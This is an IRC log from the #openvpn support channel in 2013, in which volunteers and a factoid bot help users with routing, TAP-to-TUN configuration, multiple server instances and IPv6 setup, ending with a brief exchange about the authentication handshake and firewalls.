22:43 < DrChaos> I wasn't aware that its extremely complex
22:44 < DrChaos> There's an easy way of doing this that involves using a VM but I thought it could be done easily with openvpn too
22:44 <+pekster> You don't think using a combination of 3 unique routers and 2 virtual links is at least somewhat complex?
22:46 <@krzee> whats a redpaper?
22:46 <+pekster> krzee, the IBM link
22:46 <+pekster> !tcpip
22:46 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
22:46 <@krzee> ahh right
22:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
23:02 < DrChaos> pekster: I guess so
23:02 < DrChaos> the way I immagined it
23:02 < DrChaos> when you do openvpn
23:02 < DrChaos> you create a tunnel
23:02 < DrChaos> so just running another openvpn
23:03 < DrChaos> would do what I wanted (a tunnel within a tunnel).. but I guess that's not the case
23:06 <+pekster> _just_ the tunnel?
23:06 <+pekster> Well, even that you'd need a single route to target#2 via the internal routing across target#1
23:07 <+pekster> Oh, no, that's not at all what you want; you want to go to a website after that. You don't want "just running another openvpn"
23:07 <+pekster> So yea, this is quite complex, especially if you factor in the subtle issues of on-link DNS recursors (ie: every home router on the planet) and other things
23:08 <@krzee> on vpn1 run a proxy on the vpn ip address
23:08 <@krzee> then use that proxy to connect to vpn2
23:08 <@krzee> =]
23:09 <+pekster> Still won't do the right thing if these are "providers" that push the /1 routes
23:09 <@krzee> oh ya i assume you run your own stuff
23:09 <@krzee> !route_override
23:09 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
23:10 <@krzee> you could do it with only controlling vpn1 yourself, and have a route_override for vpn1 (so vpn2 doesnt effect it)
23:11 <@krzee> you would need to run vpn1 yourself simply cause those companies never seem to run proxies inside the vpn for you
23:12 <+pekster> You don't need to control anything; ignore the pushed routes and use the 4 I showed above
23:13 <+pekster> Knowing what you're doing is required in any event
23:14 <+pekster> (no way around that short of paying someone to fix it, or knowing a local friend that'll do it in return for Life Nectar (aka: beer or scotch)
23:16 <@krzee> yep that too ^
23:28 < DrChaos> alright thanks for the help pekster and krzee. I'm going to try and figure this out again
23:28 -!- DrChaos [~DrChaos@gateway/tor-sasl/drchaos] has quit [Quit: DrChaos]
23:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
23:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
--- Day changed Sun Aug 25 2013
00:03 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
00:22 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
00:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:16 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
01:17 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
01:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:56 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
02:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
02:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:51 -!- head5-up [~user1@101.165.38.204] has joined #openvpn
02:57 < head5-up> Hi people, could someone take a look at my server.config & let me know what I need to remove/add if I want to move from TAP to TUN?
02:58 < head5-up> !config
02:58 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
03:00 < head5-up> Can I just paste to config file here?
03:00 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has joined #openvpn
03:00 -!- goldkatze [~nobody@188-195-0-120-dynip.superkabel.de] has quit [Changing host]
03:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:03 < head5-up> port 1194
03:03 < head5-up> proto udp
03:03 < head5-up> server-bridge 192.168.0.110 255.255.255.0 192.168.0.180 192.168.0.185
03:03 < head5-up> dev tap0
03:03 < head5-up> #dev tun
03:03 < head5-up> #dev-node tap0
03:03 < head5-up> ca ca.crt
03:03 < head5-up> cert xxxx.crt
03:03 < head5-up> key xxxx.key
03:03 < head5-up> dh dh1024.pem
03:03 < head5-up> #up "/etc/openvpn/up.sh br0"
03:03 < head5-up> #down "/etc/openvpn/down.sh br0"
03:03 < head5-up> up "/etc/openvpn/up1.sh br0 tap0 1500"
03:03 < head5-up> down "/etc/openvpn/down1.sh br0 tap0"
03:03 < head5-up> ifconfig-pool-persist ipp.txt
03:03 < head5-up> keepalive 10 600
03:03 < head5-up> comp-lzo
03:03 < head5-up> persist-key
03:03 < head5-up> persist-tun
03:03 < head5-up> verb 5
03:03 < head5-up> mute 20
03:03 < head5-up> status openvpn-status.log
03:03 < head5-up> #client-config-dir ccd
03:03 < head5-up> client-to-client
03:03 < head5-up> push "explicit-exit-notify 3"
03:03 < head5-up> push "topology subnet"
03:03 < head5-up> push "dhcp-option DNS 192.168.0.1"
03:03 < head5-up> push "dhcp-option DNS 8.8.8.8"
03:03 < head5-up> push "redirect-gateway def1"
03:03 < head5-up> push "route 192.168.0.0 255.255.255.0"
03:04 < head5-up> #push "redirect-gateway def1 bypass-dhcp"
03:04 < head5-up> user nobody
03:04 < head5-up> group nogroup
03:04 < head5-up> script-security 3
03:07 -!- backjlack_ [~quassel@188.27.125.135] has quit [Quit: leaving]
03:08 < user> head5-up: wat?
03:08 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:09 < head5-up> "could someone take a look at my server.config & let me know what I need to remove/add if I want to move from TAP to TUN?"
03:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
03:38 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
03:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:53 -!- levifig [~levifig@spwn.co] has joined #openvpn
03:59 < head5-up> Could someone take a look at my server.conf & let me know what I need to remove/add if I want to move from TAP to TUN?
04:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:08 < Aketzu> head5-up: server-bridge naturally won't work
04:27 -!- head5-up [~user1@101.165.38.204] has quit [Quit: head5-up]
04:33 -!- matsh [divine@nanogene.org] has joined #openvpn
04:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
04:38 <+hazardous> did someone just paste their whole conf in here
04:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
04:42 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-bnasjddfiupcxbdq] has quit [Ping timeout: 255 seconds]
04:43 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-curypnuhksczxvwd] has joined #openvpn
04:43 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 260 seconds]
04:44 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
04:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
04:45 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 260 seconds]
04:45 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
04:45 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:47 -!- klaxa_ [~klaxa@klaxa.eu] has joined #openvpn
04:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:48 -!- klaxa [~klaxa@klaxa.eu] has quit [Ping timeout: 260 seconds]
04:48 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Ping timeout: 260 seconds]
04:48 -!- bitg [~bitg@gateway/shell/xzibition.com/x-gzmomhlbdpeduzzh] has quit [Ping timeout: 260 seconds]
04:48 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 260 seconds]
04:48 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has quit [Read error: Connection reset by peer]
04:48 -!- klaxa_ is now known as klaxa
04:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-dwcmmlzselmyllwr] has joined #openvpn
04:48 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has joined #openvpn
04:48 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 260 seconds]
04:48 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 260 seconds]
04:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:49 -!- bitg [bitg@gateway/shell/xzibition.com/x-dwcmmlzselmyllwr] has quit [Changing host]
04:49 -!- bitg [bitg@unaffiliated/bitg] has joined #openvpn
04:49 -!- bitg [bitg@unaffiliated/bitg] has quit [Changing host]
04:49 -!- bitg [bitg@gateway/shell/xzibition.com/x-dwcmmlzselmyllwr] has joined #openvpn
04:49 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
04:49 -!- Freeaqingme is now known as Guest43080
04:50 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
04:50 -!- Champi [Champi@rootshell.fr] has joined #openvpn
04:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
04:50 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
04:51 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
04:52 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
04:56 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:58 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 245 seconds]
05:01 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
05:01 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
05:30 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has joined #openvpn
05:32 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
05:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
05:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:48 -!- master_o1_master [~master_of@p4FF244D9.dip0.t-ipconnect.de] has joined #openvpn
05:49 -!- master_of_master [~master_of@p4FD7B773.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
05:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
06:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:04 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:18 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 246 seconds]
06:32 -!- kubbing_ [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
06:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
06:36 -!- kyrix [~ashley@162.Red-79-156-69.staticIP.rima-tde.net] has quit [Read error: Connection reset by peer]
06:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
06:42 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
06:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:28 -!- bigDoggy [downlowd@2a01:7e00::f03c:91ff:fe69:d32e] has joined #openvpn
07:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
07:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:36 -!- kubbing_ [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
07:36 < bigDoggy>  TCP/UDP: Socket bind failed on local address [AF_INET]198.74.57.243:1194: Cannot assign requested address     after googleing, the only 2 reason I found for the error where 'process already running' and 'disable local xxx.xxx.xxx.xxx' and neither worked  http://bpaste.net/show/HoHN7keUcQjsD0BbPRPO/
07:45 -!- bigDoggy [downlowd@2a01:7e00::f03c:91ff:fe69:d32e] has left #openvpn []
07:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:50 -!- mode/#openvpn [+v s7r] by ChanServ
07:55  * s7r ping me pls
07:57 -!- zzattack [~zzattack@222-79-ftth.on.nl] has joined #openvpn
07:57 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
08:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 246 seconds]
08:01 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
08:09 < zzattack> I'm trying to set up a bridge but connectivity other than to the vpn endpoint seems to fail
08:09 < zzattack> ip forwarding is enabled, and the firewall is not
08:10 < zzattack> logs reveal that the connection is set up properly, so I'm wondering what I should check next?
08:11 < zzattack> relevant configs at http://pastebin.com/yJwrswsu
08:12 < zzattack> also, possibly irrelevant, should be ip of my em1 network interface on the bridge be set on em0 or on the bridge itself?
08:15 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
08:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:20 -!- pingUone [surf@2600:3c01::f03c:91ff:feae:c7d3] has joined #openvpn
08:22 < pingUone> what/where is the switch that turns your nic back on to regular inet traffic after connection? I have a server that needs a tunnel but also requires regular access.  http://bpaste.net/show/126052/
08:24 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
08:26 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
08:26 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
08:27 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn
08:29 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 240 seconds]
08:29 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
08:29 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Read error: Operation timed out]
08:29 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Ping timeout: 240 seconds]
08:29 -!- user [~lover@unaffiliated/energy-/x-7653247] has quit [Read error: Operation timed out]
08:29 -!- Guest43080 [~Freeaqing@91.214.168.110] has quit [Ping timeout: 240 seconds]
08:29 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Ping timeout: 240 seconds]
08:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
08:29 -!- liriel_ [~liriel@aphrodite.feralhosting.com] has joined #openvpn
08:29 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:29 -!- liriel_ is now known as liriel
08:30 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
08:30 -!- szr- [~s_r@64.85.235.207] has joined #openvpn
08:30 -!- szr- [~s_r@64.85.235.207] has quit [Changing host]
08:30 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
08:30 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:31 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Connection reset by peer]
08:31 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: No buffer space available]
08:31 -!- szr- is now known as szr
08:31 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
08:31 -!- user [~lover@forever.kitten.and.polarbear.and.lolcat.no] has joined #openvpn
08:31 -!- pingUone is now known as xyzpdq
08:32 -!- xyzpdq is now known as pingUone
08:32 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:33 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
08:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
08:36 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
08:37 -!- Freeaqingme is now known as Guest28425
08:37 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:38 -!- pingUone [surf@2600:3c01::f03c:91ff:feae:c7d3] has left #openvpn []
08:38 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:39 -!- pingUone [surf@2600:3c01::f03c:91ff:feae:c7d3] has joined #openvpn
08:46 -!- Varazir [~mircwars@c-94-255-131-165.cust.bredband2.com] has quit [Quit: bbl]
08:47 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:48 -!- pingUone [surf@2600:3c01::f03c:91ff:feae:c7d3] has quit [Quit: No windows for this server]
09:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
09:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:22 -!- Guest28425 [~Freeaqing@91.214.168.110] has left #openvpn []
09:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
09:40 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 276 seconds]
09:44 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:46 -!- chiiph_ is now known as chiiph
09:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:49 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
09:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
10:12 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
10:13 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 276 seconds]
10:16 -!- gardar [~gardar@gardar.net] has joined #openvpn
10:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
10:43 -!- klein [~klein@177.101.103.104] has joined #openvpn
10:43 -!- klein [~klein@177.101.103.104] has quit [Changing host]
10:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:46 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
10:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:46 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
10:46 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
10:46 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
10:49 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
10:50 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
10:50 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
10:50 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
11:06 -!- xyzpdq [joe@2600:3c01::f03c:91ff:feae:9e6f] has joined #openvpn
11:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
11:10 < xyzpdq> I am trying to figure out how to set this up http://i.imgur.com/NiOltBk.png  my issue is that if I turn the new server into VPN server, the email server cannot connect. either a device in use issue (different port from it's other connection) or a tls issue. If I flip it and make new server client, I only have an IPv6 address to connect to and I failed first attemtp.
11:12 < Poster> are both sides capable of IPv4 OR IPv6?
11:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:13 < xyzpdq> Poster all devices have ipv6
11:14 < Poster> ok and they can get to eachother via IPv6?  Ping, SSH, something
11:16 < xyzpdq> I can connect to the old vpn server with new server as client, but all routable traffic shuts down on the new server which can't happen. is there a way to open just one client and not the whole network open to both routable ip traffic and vpn traffic?  yes, ping and ssh via ipv6 is oky doky!
11:17 < Poster> are you using SSL certificates or a preshared key?
11:17 < xyzpdq> Poster ssl
11:18 < Poster> ok are you using the same certificate in both instances?
11:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:18 < Poster> unless you specifiy explicitly, you can only get one cert per server
11:18 < Poster> it'll boot off the older connections
11:18 < xyzpdq> Poster no, different ca
11:19 < Poster> ok different listening port/openvpn server instance/IP addresses?
11:20 < xyzpdq> first/original instance is default port 1194 and for the new tunnel, I gave it 1195
11:20 < Poster> ok, did you assign it a unique tap/tun adapter on the server AND use a different IP range?
11:20 < xyzpdq> and it still popped up an address in use error. yes, I gav it tun2
11:21 < Poster> different IP range?
11:21 < xyzpdq> 10.8.0.0 and 10.8.2.0
11:21 < xyzpdq> same subnet
11:22 < Poster> are 10.8.0.0 and 10.8.2.0 a /23 or smaller?
11:22 < xyzpdq> 255.255.255.255
11:23 < Poster> ok can you pastbin your working configuration, then your not working configuration?
11:24 < Poster> also on both sides, make sure you're not catching any firewall rules
11:24 < Poster> with the new adapter name and/or IP subnet
11:27 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has joined #openvpn
11:27 < xyzpdq> only one firewall and that's at the router/original vpn server.
11:28 < Fohlen> hi guys. Is there an example server config to get openvpn routing the client to the internet? Like a gateway server?
11:28 < xyzpdq> here is the email server  http://bpaste.net/show/OQz8EWGnZ4XhW4x8uIn1/
11:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
11:30 < xyzpdq> http://bpaste.net/show/3h7jAxZeZbktboAa9w2v/  the new server config
11:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:31 < xyzpdq> main router config  http://bpaste.net/show/1Qk5vAkdmeATJbKvwg7R/
11:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
11:34 < xyzpdq> fyi, there are 2 main routers. I have a redundant network
11:35 < xyzpdq> the diagram was only half, but legit in concept.
11:36 < Poster> do the connections on 1195 work at all?
11:36 < Poster> I understand there are issues, but do you see the handshake, etc?
11:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
11:42 < xyzpdq> http://i.imgur.com/e1YJPwT.png
11:42 < xyzpdq> Poster both sides have to be 1195
11:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:45 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
11:46 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
11:54 < xyzpdq> this is the config that made the most sense to me, but I only know enough ipv6 to be dangerous. I know what a locallink is and does, I get fuzzy after that  http://i.imgur.com/TsZs8nF.png
11:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:00 -!- nev [~nev@w-132.cust-14822.ip.static.uno.uk.net] has joined #openvpn
12:00 < nev> !welcome
12:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
12:00 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:01 < nev> !factoids
12:01 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
12:01 < nev> !ask
12:01 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
12:02 -!- AdamAtLAX [~ar@ec2-54-241-149-5.us-west-1.compute.amazonaws.com] has joined #openvpn
12:03 -!- nev [~nev@w-132.cust-14822.ip.static.uno.uk.net] has left #openvpn ["WeeChat 0.4.0"]
12:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
12:10 < xyzpdq> !certfight
12:10 <@vpnHelper> "certfight" is when you use 2 clients with the same certificate (and not using !dupe) your vpn will not work. your second client will knock off your first client, then your first will knock off the second (if you have !keepalive) and they will simply fight back and forth disconnecting over and over until a voice says FINISH HIM
12:10 < xyzpdq> hilarious
12:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:19 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
12:23 -!- AdamAtLAX [~ar@ec2-54-241-149-5.us-west-1.compute.amazonaws.com] has quit [Ping timeout: 248 seconds]
12:27 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
12:28 -!- tunage [~drummer@ool-18b86e27.dyn.optonline.net] has joined #openvpn
12:30 < tunage> where would I go if I wanted to customise the openvpn authentication handshake?
12:32 < EugeneKay> A psychiatrist.
12:33 < EugeneKay> !xy
12:33 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
12:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:34 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
12:34 < tunage> EugeneKay I want to change the first 2 packets.
12:35 < EugeneKay> That sounds exactly like a XY problem. WHY do you want to do that? WHAT problem are you actually trying to solve/
12:37 < tunage> I have a technology issue that requires me to streamline the authenication in a proprietary enviroment.
12:38 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
12:38 < EugeneKay> So you're trying to bypass a protocol-aware filesytem
12:38 < tunage> yes
12:39 < EugeneKay> So SAY that.
12:40 < tunage> i was trying to, my version wasn't as good as yours.
12:40 < EugeneKay> I mean from the beginning
12:40 < EugeneKay> The general recommendation for bypassing such firewalls is to use a static-key PTP link to your server, and then run a cert-based link inside of it to provde forward security
12:41 < tunage> I need to bring the handshake down to just an encryption key in the header and then bombard it in a lab.
12:42 < tunage> this has to do with authentication timing.
